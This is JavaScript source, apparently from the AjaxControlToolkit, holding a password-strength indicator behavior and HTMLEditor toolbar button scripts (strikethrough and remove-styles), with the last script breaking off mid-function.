        // Create a DIV element so we can place our own content in there.
        // This is for the textual display.
        var p = document.createElement("label");  
        p.style.position= "absolute"; 
        p.style.visibility="hidden";
        p.style.display = "none";

        // Create the control id        
        if (this.get_element().id) {
            p.id = this.get_element().id + "_PasswordStrength";
        }
        
        this._displayDiv = p;
        

        this._setTextDisplayLocation(p);
        
        // Add the DIV element to the document
        document.body.appendChild(p);
        
        this._setTextDisplayStyle(0);
        
    },
    
    _setTextDisplayStyle : function(index) {
        //*******************************************************************************
        // **** Takes care of setting the appropriate CSS class style for the textual strength display
        //********************************************************************************
        if (this._styleArray.length == 0)
        {
            if (this._txtPwdStrengthCssClass != null && this._txtPwdStrengthCssClass != '')
                this._displayDiv.className = this._txtPwdStrengthCssClass;
            else
                this._displayDiv.style.backgroundColor = "yellow";
        } else
        {
            this._displayDiv.style.backgroundColor = "";
            if ( (this._txtPwdStrengthCssClass != null && this._txtPwdStrengthCssClass != '') &&
                Sys.UI.DomElement.containsCssClass(this._displayDiv,this._txtPwdStrengthCssClass))
            {
                Sys.UI.DomElement.removeCssClass(this._displayDiv,this._txtPwdStrengthCssClass)
            }
            this._displayDiv.className = this._styleArray[index];
        }
        
    },
    
    _setBarDisplayStyle : function(index) {
        //*******************************************************************************
        // **** Takes care of setting the appropriate CSS class style for the textual strength display
        //********************************************************************************
        if (this._barBorderCssClass != '')
            this._barOuterDiv.className = this._barBorderCssClass;
        else
        {
            d1.style.width="200px";
            d1.style.borderStyle="solid";
            d1.style.borderWidth="1px";
        }

        if (this._styleArray.length == 0)
        {
            if (this._barIndicatorCssClass != '')
                this._barInnerDiv.className = this._barIndicatorCssClass;
            else
                this._barInnerDiv.style.backgroundColor = "red";
        } else
        {
            if ( (this._barIndicatorCssClass != null && this._barIndicatorCssClass != '') &&
                Sys.UI.DomElement.containsCssClass(this._barInnerDiv,this._barIndicatorCssClass))
            {
                Sys.UI.DomElement.removeCssClass(this._barInnerDiv,this._barIndicatorCssClass)
            }
            this._barInnerDiv.className = this._styleArray[index];
            
        }
        
    },

    _createBarIndicatorDisplayElement : function() {
        //*******************************************************************************
        // **** Create the element for BarIndicator display
        //********************************************************************************
        var d1 = document.createElement("div");  // outer div
        d1.style.position= "absolute"; 
        d1.style.visibility="hidden";
        d1.style.display = "none";

        var d2 = document.createElement("div");  // inner div, the bar itself
        d2.style.position= "absolute"; 
        d2.style.visibility="hidden";
        d2.style.display = "none";
        
        d1.style.height = this.get_element().offsetHeight+4 + "px";

        if (this.get_element().id) {
            d1.id = this.get_element().id + "_PasswordStrengthBar1";
            d2.id = this.get_element().id + "_PasswordStrengthBar2";
        }

        this._barOuterDiv = d1;
        this._barInnerDiv = d2;
        
        this._extractStyles();
        
        this._setBarDisplayStyle(0);

        document.body.appendChild(d1);
        document.body.appendChild(d2);

        this._setBarDisplayLocation(d1,d2);
        
    },

    // Create the DIV element that is used to represent the image to click on to display
    // the password requirements. If the _requirementsHandleCssClass is set then
    // its created and appended to the document and returns true, otherwise it returns
    // false and wont be displayed.
    _createHelpDisplayElement : function() {
        if (this._helpHandleCssClass != '')
        {
            var req = document.createElement("a");
            
            req.style.position= "absolute"; 
            req.style.visibility="hidden";
            req.style.display = "none";
            req.href = "#"; // fix for work item #8217
            req.title = AjaxControlToolkit.Resources.PasswordStrength_GetHelpRequirements;

            if (this.get_element().id) {
                req.id = this.get_element().id + "_PasswordStrengthReqDisplay";
            }

            this._helpClickHandler = Function.createDelegate(this,this._onHelpClick);
            $addHandler(req,'click',this._helpClickHandler);

            this._helpDiv = req;
            
        
            this._helpDiv.className = this._helpHandleCssClass;
            if (this.get_element().parentElement != null && this.get_element().parentElement.canHaveChildren)
                this.get_element().parentElement.appendChild(req);
            else
                document.body.appendChild(req);
            
            return true;
        } else
            return false;
    },

    _setTextDisplayLocation : function(htmlElement) {
        // Whats our current position of the textbox
        var location = $common.getLocation(this.get_element());
        var bounds = $common.getBounds(this.get_element());
        var offsetAmount = 15;
        
        if (this._displayPosition == AjaxControlToolkit.DisplayPosition.LeftSide)
        {
            htmlElement.style.top = location.y + "px";
            htmlElement.style.left = location.x - bounds.width - offsetAmount + "px"; 
        } else if (this._displayPosition == "BelowRight")
        {
            htmlElement.style.top = location.y + this.get_element().offsetHeight + "px";
            htmlElement.style.left = location.x + this.get_element().offsetWidth - (this.get_element().offsetWidth/4) + "px";
        } else if (this._displayPosition == AjaxControlToolkit.DisplayPosition.BelowLeft)
        {
            htmlElement.style.top = location.y + this.get_element().offsetHeight + "px";
            htmlElement.style.left = location.x - offsetAmount + "px";
        } else if (this._displayPosition == AjaxControlToolkit.DisplayPosition.AboveRight)
        {
            htmlElement.style.top = location.y  - this.get_element().offsetHeight + "px";
            htmlElement.style.left = location.x + this.get_element().offsetWidth - (this.get_element().offsetWidth/4) + "px";
        } else if (this._displayPosition == AjaxControlToolkit.DisplayPosition.AboveLeft)
        {
            htmlElement.style.top = location.y - this.get_element().offsetHeight + "px";
            htmlElement.style.left = location.x - offsetAmount + "px";
        } else   // This fall through logic gets called if the DisplayPositon is "RightSide" or anything else for that matter
        {
            htmlElement.style.top = location.y + "px";
            htmlElement.style.left = location.x + this.get_element().offsetWidth + offsetAmount + "px";
        }
    },
    
    _setBarDisplayLocation : function(outerElement, innerElement) {
        
        // Re: issue #1893. If the target element has a display:none, the this.get_element().offsetHeight caclulation is 0, making
        // this.get_element().offsetHeight -2 an invalid size. This test circumvents the negative problem, and we also recalc/set the
        // inner and outer div height each time this routine is called.
        if (this.get_element().offsetHeight > 0) {

            var outerBorder = $common.getBorderBox(outerElement);
            var outerPadding = $common.getPaddingBox(outerElement);
            var leftIndent = outerBorder.left + outerPadding.left;
            var topIndent = outerBorder.top + outerPadding.top;
            
            innerElement.style.height = this.get_element().offsetHeight  + "px";    // why does IE only do a minimum height????
            outerElement.style.height = this.get_element().offsetHeight  + "px";
            

            var location = $common.getLocation(this.get_element());

            var offsetAmount = 15;
            
            if (this._displayPosition == AjaxControlToolkit.DisplayPosition.LeftSide)
            {
                // We need to work out how wide the outer/surrounding DIV element is so we can subtract that from the textbox x position.
                // For whatever reason, we need to make the outer DIV element visible before the width is accurately reported, otherwise
                // it always comes back as zero. Not sure if this is IE6 specific or not.
                // To circumvent this, we briefly make the control visible, get its width, then make it invisble again.
                
                // Fix bug where the bar was displayed initially but then hidden after the calculation.
                var initialVisibleState = $common.getVisible(this._barOuterDiv);
                
                // Get the content size so we take into account padding.
                $common.setVisible(this._barOuterDiv,true);        
                var barBounds = $common.getContentSize(outerElement);
                $common.setVisible(this._barOuterDiv, initialVisibleState);   
                
                var _barIndicatorWidth = barBounds.width;

                outerElement.style.top = location.y + "px";
                outerElement.style.left = location.x - parseInt(_barIndicatorWidth) - offsetAmount + "px";
                
                innerElement.style.top = location.y + topIndent + "px";
                innerElement.style.left = location.x - parseInt(_barIndicatorWidth) - offsetAmount + leftIndent + "px";
            } else if (this._displayPosition == AjaxControlToolkit.DisplayPosition.BelowRight)
            {
                outerElement.style.top = location.y + this.get_element().offsetHeight + "px";
                outerElement.style.left = location.x + this.get_element().offsetWidth + "px";
                
                innerElement.style.top = location.y + this.get_element().offsetHeight + topIndent + "px";
                innerElement.style.left = location.x + this.get_element().offsetWidth + leftIndent + "px";
            } else if (this._displayPosition == AjaxControlToolkit.DisplayPosition.BelowLeft)
            {
                outerElement.style.top = location.y + this.get_element().offsetHeight + "px";
                outerElement.style.left = location.x + "px";
                
                innerElement.style.top = location.y + this.get_element().offsetHeight + topIndent + "px";
                innerElement.style.left = location.x + leftIndent + "px";
            } else if (this._displayPosition == AjaxControlToolkit.DisplayPosition.AboveRight)
            {
                outerElement.style.top = location.y-this.get_element().offsetHeight + "px";
                outerElement.style.left = location.x + this.get_element().offsetWidth + "px";
                
                innerElement.style.top = location.y-this.get_element().offsetHeight + topIndent + "px";
                innerElement.style.left = location.x + this.get_element().offsetWidth + leftIndent + "px";

            } else if (this._displayPosition == AjaxControlToolkit.DisplayPosition.AboveLeft)
            {
                outerElement.style.top = location.y-this.get_element().offsetHeight + "px";
                outerElement.style.left = location.x + "px";
                
                innerElement.style.top = location.y-this.get_element().offsetHeight + topIndent + "px";
                innerElement.style.left = location.x + leftIndent + "px";
            } else   // This fall through logic gets called if the DisplayPositon is "RightSide" or anything else for that matter
            {
                outerElement.style.top = location.y + "px";
                outerElement.style.left = location.x + this.get_element().offsetWidth + offsetAmount + "px";
                
                innerElement.style.top = location.y + topIndent + "px";
                innerElement.style.left = location.x + this.get_element().offsetWidth + offsetAmount + leftIndent + "px";
            }
        }
    },

    // Determine what mode of dispay we are using and show the appropriate indicator
    _showStrength : function() {
    
        var e = this.get_element();
        
        // Here we check to see if the target element is in readonly mode. If so, then we dont want to
        // display the password strength indicator. we do it here because the application may dynamically
        // manipulate the readonly state so we need to ensure we check for it each time.
        if (e.readOnly == true)
            return;

        var pwdStrength = this._getPasswordStrength();
        
        if (this._strengthIndicator == AjaxControlToolkit.StrengthIndicatorTypes.BarIndicator)
        {
            
            // Set the visibility to true initially so that width and height calculations are accurate 
            $common.setVisible(this._barOuterDiv , true);
            $common.setVisible(this._barInnerDiv, true);

            var index = 0;
            if (this._styleArray != null && this._styleArray.length > 0)
            {
                index = parseInt(pwdStrength/100 * (this._styleArray.length-1));
            }
            this._setBarDisplayStyle(index);

            this._setBarDisplayLocation(this._barOuterDiv,this._barInnerDiv);
             
            this._showStrengthAsBarValue(pwdStrength);
            
            
        } else
        {
            this._createTextDescriptions(this._txtStrengthDescriptions);
      
            $common.setVisible(this._displayDiv, true);
            
            var index = parseInt(pwdStrength/100 * (this._levelArray.length-1));
            var pwdStrengthText = this._levelArray[index];
            
            this._setTextDisplayStyle(index);
            
            this._setTextDisplayLocation(this._displayDiv);
            
            this._showStrengthAsText(pwdStrengthText);   

        }
        
    },
    
    _showStrengthAsText : function(pwdStrengthVal) {
        this._displayDiv.innerHTML = this._prefixText + pwdStrengthVal;
    },
    
    _showStrengthAsBarValue : function(strengthValue) {
        var bounds = $common.getContentSize(this._barOuterDiv);
        var outerPadding = $common.getPaddingBox(this._barOuterDiv);
        var barLength = parseInt( bounds.width * (strengthValue / 100));
        this._barInnerDiv.style.width = barLength + "px";
    },
    
    _getPasswordStrength : function() {
        // work out how strong the text entered into the textbox is for a password
        // and return an integer in between 1 .. 100 (ie. a percentage value)
        // 1 = weakest
        // 100 = strongest
        // Note: Password determination involves
        //       Length (makes up 50% of score)
        //       Does it contain numbers (makes up 15% of score)
        //       Does it contain upper and lowercase (makes up 15% of score)
        //       Does it contain special symbols (makes up 20% of score)
        
        var pwd = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_Value();
        
        var pwdRequirements = '';  // This will contain what is required to make this password a 'strong' password.
        
        var percentTotal = 0;
        
        // Extract the password calculation weighting ratios
        var weights = this._calcWeightings.split(';');
        if (weights.length != 4)
            Sys.Debug.assert(null, AjaxControlToolkit.Resources.PasswordStrength_InvalidWeightingRatios);

        var _ratioLen = parseInt(weights[0]);
        var _ratioNum = parseInt(weights[1]);
        var _ratioCas = parseInt(weights[2]);
        var _ratioSym = parseInt(weights[3]);
        
        //***********************************************
        // Length Criteria
        // Any pwd with a length > 20 is a passphrase and is a good thing
        var ratio = pwd.length / this._preferredPasswordLength;
        if (ratio > 1)
            ratio = 1;
        
        var lengthStrength = (ratio * _ratioLen);
        
        // Add to our percentage total
        percentTotal += lengthStrength;
        
        if (ratio < 1)
            pwdRequirements = String.format(AjaxControlToolkit.Resources.PasswordStrength_RemainingCharacters, this._preferredPasswordLength - pwd.length);
            
        //***********************************************
        // Numeric Criteria
        // Does it contain numbers?
        if (this._minimumNumericCharacters > 0)
        {
            var numbersRegex = new RegExp("[0-9]", "g");
            var numCount = this._getRegexCount(numbersRegex,pwd);
            if ( numCount >= this._minimumNumericCharacters)
                percentTotal += _ratioNum;
            
            if (numCount < this._minimumNumericCharacters)
            {
                if (pwdRequirements != '')
                    pwdRequirements += ', ';
                pwdRequirements += String.format(AjaxControlToolkit.Resources.PasswordStrength_RemainingNumbers, this._minimumNumericCharacters - numCount);
            }
        } else
        {
            // If the user has not specified that the password should contain numerics, then we just figure out the ratio according
            // to the password length as that is always something
            percentTotal += (ratio * _ratioNum);
        }
            
        //***********************************************
        // Casing Criteria
        // Does it contain lowercase AND uppercase Text
        if (this._requiresUpperAndLowerCaseCharacters == true ||
            (typeof(this._requiresUpperAndLowerCaseCharacters) == 'String' && Boolean.parse(this._requiresUpperAndLowerCaseCharacters) == true) )
        {
            var lowercaseRegex = new RegExp("[a-z]", "g");
            var uppercaseRegex = new RegExp("[A-Z]", "g");
            
            var numLower = this._getRegexCount(lowercaseRegex,pwd);
            var numUpper = this._getRegexCount(uppercaseRegex,pwd);

            if (numLower > 0 || numUpper > 0)
            {
                if (numLower >= this._minLowerCaseChars && numUpper >= this._minUpperCaseChars)
                    percentTotal += _ratioCas;
                else
                {
                    if (this._minLowerCaseChars > 0 && (this._minLowerCaseChars - numLower) > 0)
                    {
                        if (pwdRequirements != '')
                            pwdRequirements += ', ';
                        pwdRequirements += String.format(AjaxControlToolkit.Resources.PasswordStrength_RemainingLowerCase, this._minLowerCaseChars - numLower);
                    }
                    if (this._minUpperCaseChars > 0 && (this._minUpperCaseChars - numUpper) > 0)
                    {
                        if (pwdRequirements != '')
                            pwdRequirements += ', ';
                        pwdRequirements += String.format(AjaxControlToolkit.Resources.PasswordStrength_RemainingUpperCase, this._minUpperCaseChars - numUpper);
                    }
                }
                
            }
            else
            {
                if (pwdRequirements != '')
                    pwdRequirements += ', ';
                pwdRequirements += AjaxControlToolkit.Resources.PasswordStrength_RemainingMixedCase;

            }
        } else
        {
            // If the user has not specified that the password should contain numerics, then we just figure out the ratio according
            // to the password length as  that is always something
            percentTotal += (ratio * _ratioCas);
        }


        //***********************************************
        // Symbol Criteria
        // Does it contain any special symbols?
        if (this._minimumSymbolCharacters > 0)
        {
            var symbolRegex = new RegExp("[^a-z,A-Z,0-9,\x20]", "g"); // related to work item 1034
            var numCount = this._getRegexCount(symbolRegex,pwd);
            if (numCount >= this._minimumSymbolCharacters)
                percentTotal += _ratioSym;
            
            if (numCount < this._minimumSymbolCharacters)
            {
                if (pwdRequirements != '')
                    pwdRequirements += ', ';
                pwdRequirements += String.format(AjaxControlToolkit.Resources.PasswordStrength_RemainingSymbols, this._minimumSymbolCharacters - numCount);
            }

        } else
        {
            // If the user has not specified that the password should contain numerics, then we just figure out the ratio according
            // to the password length as that is always something
            percentTotal += (ratio * _ratioSym);
        }
        
        this.set_HelpText(pwdRequirements);
        
        return percentTotal;
        
    },
    
    // *******************************************************
    // Determines the number of matches according to the regex spec and the test string
    _getRegexCount : function(regex,testString) {
        var cnt = 0;
        if (testString != null && testString != "")
        {
            var results = testString.match(regex);
            if (results != null)
                cnt = results.length;
        }
        return cnt;
    },

    // Extract the styles (if present) from out comma delimited list    
    _extractStyles : function() {
       // Get our styles for each text indicator in the array
        if (this._strengthStyles != null && this._strengthStyles != "" )
            this._styleArray = this._strengthStyles.split(this._txtseparator);

    },
    
    //************************************************************
    // ** Split the TextStrengthDescriptions property into our internal
    // ** array
    //************************************************************
    _createTextDescriptions : function(descriptions) {
        this._levelArray = this._txtStrengthDescriptions.split(this._txtseparator);
        
        this._extractStyles();
                
        // Make sure we have the same number of styles as per the number of actual text descriptions
        if (this._styleArray.length > 0 && this._styleArray.length != this._levelArray.length)
        {
            Sys.Debug.assert(false, AjaxControlToolkit.Resources.PasswordStrength_InvalidStrengthDescriptionStyles);
        }
            
        // Check to see that there were enough text descriptions specified and that it didn't exceed our maximum
        if (this._levelArray.length < this._MIN_TXT_LEVEL_COUNT || this._levelArray > this._MAX_TXT_LEVEL_COUNT)
        {
            Sys.Debug.assert(false, AjaxControlToolkit.Resources.PasswordStrength_InvalidStrengthDescriptions);
            // Do we need to do more here? Should we jsut be relying on the server side validation to pick up any inconsistencies?
        }
        // Everything is ok
    },
    
    _onKeyPress : function() {
        
        this._showStrength();
    },

    _onBlur : function() {
        if (this._strengthIndicator == AjaxControlToolkit.StrengthIndicatorTypes.BarIndicator)
        {
             $common.setVisible(this._barOuterDiv, false);
             $common.setVisible(this._barInnerDiv, false);
        } else
        {
            $common.setVisible(this._displayDiv, false);
        }
    },
    
    _onHelpClick : function() {
        if (this._helpText == '')
            alert(AjaxControlToolkit.Resources.PasswordStrength_Satisfied);
        else
            alert(this._helpText);
    },
    
    dispose : function() {
        var e = this.get_element();

        // Detach events
        if (this._keyPressHandler) {
            $removeHandler(e,'keyup', this._keyPressHandler);
            this._keyPressHandler = null;
        }
        if (this._blurHandler) {
            $removeHandler(e,'blur', this._blurHandler);
            this._blurHandler = null;
        }
        if (this._helpClickHandler) {
            $removeHandler(this._helpDiv, 'click', this._helpClickHandler);
            this._helpClickHandler = null;
        }

        // Clear text display if applicable
        if(this._displayDiv) 
           $common.setVisible(this._displayDiv, false);

        // Clear Bar display if applicable
        if (this._barOuterDiv)
             $common.setVisible(this._barOuterDiv,false);
        if (this._barInnerDiv)
             $common.setVisible(this._barInnerDiv, false);
        
        
        if (this._helpHandleCssClass != '' && this._helpDiv)
             $common.setVisible(this._helpDiv ,false);
       
        AjaxControlToolkit.PasswordStrengthExtenderBehavior.callBaseMethod(this, 'dispose');
    },
    
    get_PreferredPasswordLength : function() {
        return this._preferredPasswordLength;
    },

    set_PreferredPasswordLength : function(value) {
        if (this._preferredPasswordLength != value) {
            this._preferredPasswordLength = value;
            this.raisePropertyChanged('PreferredPasswordLength');
        }
    },

    get_MinimumNumericCharacters : function() {
        return this._minimumNumericCharacters;
    },

    set_MinimumNumericCharacters : function(value) {
        if (this._minimumNumericCharacters != value) {
            this._minimumNumericCharacters = value;
            this.raisePropertyChanged('MinimumNumericCharacters');
        }
    },
    
    get_MinimumSymbolCharacters : function() {
        return this._minimumSymbolCharacters;
    },

    set_MinimumSymbolCharacters : function(value) {
        if (this._minimumSymbolCharacters != value) {
            this._minimumSymbolCharacters = value;
            this.raisePropertyChanged('MinimumSymbolCharacters');
        }
    },
    get_RequiresUpperAndLowerCaseCharacters : function() {
        return this._requiresUpperAndLowerCaseCharacters;
    },

    set_RequiresUpperAndLowerCaseCharacters : function(value) {
        if (this._requiresUpperAndLowerCaseCharacters != value) {
            this._requiresUpperAndLowerCaseCharacters = value;
            this.raisePropertyChanged('RequiresUpperAndLowerCaseCharacters');
        }
    },

    get_TextCssClass : function() {
        return this._txtPwdStrengthCssClass;
    },

    set_TextCssClass : function(value) {
        if (this._txtPwdStrengthCssClass != value) {
            this._txtPwdStrengthCssClass = value;
            this.raisePropertyChanged('TextCssClass');
        }
    },

    get_BarBorderCssClass : function() {
        return this._barBorderCssClass;
    },

    set_BarBorderCssClass : function(value) {
        if (this._barBorderCssClass != value) {
            this._barBorderCssClass = value;
            this.raisePropertyChanged('BarBorderCssClass');
        }
    },
    get_BarIndicatorCssClass : function() {
        return this._barIndicatorCssClass;
    },
    
    set_BarIndicatorCssClass : function(value) {
        if (this._barIndicatorCssClass != value) {
            this._barIndicatorCssClass = value;
            this.raisePropertyChanged('BarIndicatorCssClass');
        }
    },


    get_DisplayPosition : function() {
        return this._displayPosition;
    },
    
    set_DisplayPosition : function(value) {
        if (this._displayPosition != value) {
            this._displayPosition = value;
            this.raisePropertyChanged('DisplayPosition');
        }
    },

    
    get_PrefixText : function() {
        return this._prefixText;
    },
    
    set_PrefixText : function(value) {
        if (this._prefixText != value) {
            this._prefixText = value;
            this.raisePropertyChanged('PrefixText');
        }
    },

    get_StrengthIndicatorType : function() {
        return this._strengthIndicator;
    },
    
    set_StrengthIndicatorType : function(value) {
        if (this._strengthIndicator != value) {
            this._strengthIndicator = value;
            this.raisePropertyChanged('StrengthIndicatorType');
        }
    },
    
    get_TextStrengthDescriptions : function() {
        return this._txtStrengthDescriptions;
    },
    
    set_TextStrengthDescriptions : function(value) {
        if (value != null && value != '' && value != this._txtStrengthDescriptions) {
            this._txtStrengthDescriptions = value;
            this.raisePropertyChanged('TextStrengthDescriptions');
        }
    },

    get_StrengthStyles : function() {
        return this._strengthStyles;
    },
    
    set_StrengthStyles : function(value) {
        if (value != null && value != '' && value != this._strengthStyles) {
            this._strengthStyles = value;
            this.raisePropertyChanged('StrengthStyles');
        }
    },
    
    //*********************************************
    // NOTE: The TextStrengthDescriptionStyles properties
    // have been deprecated in faour of the StrengthStyles properties
    get_TextStrengthDescriptionStyles : function() {
        return this.get_StrengthStyles();
    },
    
    //*********************************************
    // NOTE: The TextStrengthDescriptionStyles properties
    // have been deprecated in faour of the StrengthStyles properties
    set_TextStrengthDescriptionStyles : function(value) {
    	this.set_StrengthStyles(value);
    },

    
    get_HelpHandleCssClass : function() {
        return this._helpHandleCssClass;
    },
    
    set_HelpHandleCssClass : function(value) {
        if (this._helpHandleCssClass != value) {
            this._helpHandleCssClass = value;
            this.raisePropertyChanged('HelpHandleCssClass');
        }
    },
        
    get_HelpHandlePosition : function() {
        return this._helpHandlePosition;
    },
    
    set_HelpHandlePosition : function(value) {
        if (this._helpHandlePosition != value) {
            this._helpHandlePosition = value;
            this.raisePropertyChanged('HelpHandlePosition');
        }
    },
    
    get_HelpText : function() {
        return this._helpText;
    },
    
    get_CalculationWeightings : function() {
        return this._calcWeightings;
    },
    
    set_CalculationWeightings : function(value) {
        if (this._calcWeightings != value) {
            this._calcWeightings = value;
            this.raisePropertyChanged('CalculationWeightings');
        }
    },
    
    set_HelpText : function(value) {
        if (this._helpStatusLabelID) {
            var label = $get(this._helpStatusLabelID);
            if (label) {
                if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_Value().length > 0) {            
                    label.innerHTML = value;
                }
                else {
                    label.innerHTML = "";
                }
            }
        }
        if (this._helpText != value) {
            this._helpText = value;
            this.raisePropertyChanged('HelpText');
        }
    },
    
    get_MinimumLowerCaseCharacters : function() {
        return this._minLowerCaseChars;
    },
            
    set_MinimumLowerCaseCharacters : function(value) {
        this._minLowerCaseChars = value;
    },

    get_MinimumUpperCaseCharacters : function() {
        return this._minUpperCaseChars;
    },
            
    set_MinimumUpperCaseCharacters : function(value) {
        this._minUpperCaseChars = value;
    },

    get_HelpStatusLabelID : function() {
        return this._helpStatusLabelID;
    },
    
    set_HelpStatusLabelID : function(value) {
        if (this._helpStatusLabelID != value) {
            this._helpStatusLabelID = value;
            this.raisePropertyChanged('HelpStatusLabelID');
        }
    }
}


AjaxControlToolkit.PasswordStrengthExtenderBehavior.registerClass('AjaxControlToolkit.PasswordStrengthExtenderBehavior', AjaxControlToolkit.BehaviorBase);


// Register enumerations  

AjaxControlToolkit.StrengthIndicatorTypes = function() {
    throw Error.invalidOperation();
}
AjaxControlToolkit.DisplayPosition = function() {
    throw Error.invalidOperation();
}

AjaxControlToolkit.StrengthIndicatorTypes.prototype = {
    Text: 0,
    BarIndicator: 1
}

AjaxControlToolkit.DisplayPosition.prototype = {
    RightSide: 0,
    AboveRight: 1,
    AboveLeft: 2,
    LeftSide: 3,
    BelowRight: 4,
    BelowLeft: 5
}

AjaxControlToolkit.DisplayPosition.registerEnum('AjaxControlToolkit.DisplayPosition');
AjaxControlToolkit.StrengthIndicatorTypes.registerEnum('AjaxControlToolkit.StrengthIndicatorTypes');
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("strikeThrough", false, null);
    },
    
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._queryCommandState("strikeThrough");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.StrikeThrough", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

�LType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveStyles.callBaseMethod(this, "callMethod")) return false;
        var editor = this._designPanel;
        
        setTimeout(function() {
            var selectedHTML = (!AjaxControlToolkit.HTMLEditor.isIE)?AjaxControlToolkit.HTMLEditor.Trim(editor.getSelectedHTML()):"";
            var sel   = editor._getSelection();
            var range = editor._createRange(sel);
            var rng = null;
            var expanded = false;

            if(!editor.isControl() && ((AjaxControlToolkit.HTMLEditor.isIE && range.text.length>0) || (!AjaxControlToolkit.HTMLEditor.isIE && selectedHTML.length > 0))) {
                rng=editor._getTextNodeCollection();
            } else {
                rng = editor._tryExpand();
                expanded = true;
            }

            if(rng != null && rng.length > 0) {
                var changed=false;  // document tree changing indicator
                var _found =true;   // style tag deleting indicator
                var _text=null;

                editor._saveContent(); // for undo

                var span1 = editor._doc.createElement("span");
                span1.id  = "_left_";
                var span2 = editor._doc.createElement("span");
                span2.id  = "_right_";

                var par1  = rng[0].parentNode;
                var par2  = rng[rng.length-1].parentNode;

                par1.insertBefore(span1,rng[0]);

                if(rng[rng.length-1].nextSibling)
                    par2.insertBefore(span2,rng[rng.length-1].nextSibling);
                else
                    par2.appendChild(span2);

                while(_found) { // while there were tags' deletings
                    _found =false; // reset the indicator
                    for(var i=0; i< rng.length; i++) { // inspect all TextNodes
                        var par    = rng[i].parentNode;

                        // if the TextNode still have a parent 
                        if(par) {
                            // it's the first node in his parent
                            if(rng[i].previousSibling == null && rng[i].nextSibling == null) {
                                var tag    = par.tagName.toUpperCase();

                                // parent can be a style tag only
                                if( AjaxControlToolkit.HTMLEditor.isStyleTag(tag) && (tag != "A") && (par.className != AjaxControlToolkit.HTMLEditor.smartClassName || tag.substr(0,1) == "H") ) {
                                    // it is what we need !
                                    //
                                    // have the parent attributes?
                                    var _attrs = AjaxControlToolkit.HTMLEditor.differAttr(par,["class","color","face","size"]);

                                    // changes will be now
                                    changed=true;

                                    // if there aren't attributes - we can delete the tag
                                    // and move his chieldren to parent
                                    if(_attrs.length==0) {
                                        var parent=par.parentNode;
                                        var el = (par.firstChild)?par.firstChild:null;
                                        var P  = null;

                                        if(tag.toUpperCase().substr(0,1) == "H" && (AjaxControlToolkit.HTMLEditor.isIE)) {
                                            P = editor._doc.createElement("p");
                                            P.className = AjaxControlToolkit.HTMLEditor.smartClassName;

                                            parent.insertBefore(P,par);

                                            while(par.firstChild) { // chieldren moving
                                                P.appendChild(par.firstChild);
                                            }
                                        } else {
                                            while(par.firstChild){ // chieldren moving
                                                parent.insertBefore(par.firstChild,par);
                                            }

                                            if(tag.toUpperCase().substr(0,1) == "H") {
                                                var br = editor._doc.createElement("br");
                                                parent.insertBefore(br,par);
                                            }
                                        }

                                        parent.removeChild(par);
                                        _found=true; // set indicator
                                    } else { // we can't remove the tag - cleaning only
                                        var parent=par.parentNode;

                                        // create the new same tag
                                        var nel   =editor._doc.createElement(tag);
                                        // set it's attributes
                                        for(var j=0; j<_attrs.length; j++) {
                                            nel.setAttribute(_attrs[j][0], _attrs[j][1]);
                                        }

                                        // insert the clone instead the old tag
                                        // (no ClassName, no Styles)

                                        parent.insertBefore(nel,par);
                                        while(par.firstChild) {
                                            nel.appendChild(par.firstChild);
                                        }
                                        parent.removeChild(par);
                                    }
                                }
                            }
                        }
                    }
                }

                for(var i=0; i< rng.length; i++) { // inspect all TextNodes
                    var el   = rng[i];
                    var _prn = (rng[i].parentNode != null && typeof rng[i].parentNode != "undefined")?rng[i].parentNode:null;

                    // if the TextNode still have a parent 
                    if(_prn) {
                        // now try to cut this Text node from arround style tags

                        var _fnd = null;

                        // look for the upper style parent
                        while (_prn && _prn.tagName && _prn.tagName.toUpperCase() != "BODY" && AjaxControlToolkit.HTMLEditor.isStyleTag(_prn.tagName) && (_prn.tagName.toUpperCase() != "A")
                               && AjaxControlToolkit.HTMLEditor.differAttr(_prn,["class","color","face","size"]).length == 0
                        ) {
                            _fnd = _prn;
                            _prn = _prn.parentNode;
                        }


                        // if such parent is found
                        if(_fnd) {
                            // changes will be now
                            changed=true;

                            function diver(add,el, rpr, before) {
                                var par=rpr.cloneNode(false);

                                if(add) {
                                    if(add.push && typeof add.push == "function") {
                                        for(var iii=0; iii < add.length; iii++) {
                                            par.appendChild(add[iii]);
                                        }
                                    } else
                                        par.appendChild(add);
                                }

                                while(el) {
                                    var elSibling=before?el.previousSibling:el.nextSibling;
                                    if(el.nodeType==1 || (el.nodeType==3 && AjaxControlToolkit.HTMLEditor.Trim(""+el.data+"").length>0)) {
                                        if(el.nodeType==1) {
                                            if(AjaxControlToolkit.HTMLEditor.isStyleTag(el.tagName) && (el.tagName.toUpperCase() != "A") && (!el.id || (el.id != "_left_" && el.id != "_right_"))) {
                                                AjaxControlToolkit.HTMLEditor.spanJoiner(el);
                                            }

                                            if(AjaxControlToolkit.HTMLEditor.isStyleTag(el.tagName) && el.childNodes.length==0 && (!el.id || (el.id != "_left_" && el.id != "_right_"))) {
                                                el=null;
                                            }
                                        }
                                        if(el) {
                                            if(par.childNodes.length == 0 || !before)
                                                par.appendChild(el);
                                            else
                                                par.insertBefore(el,par.firstChild);
                                        }
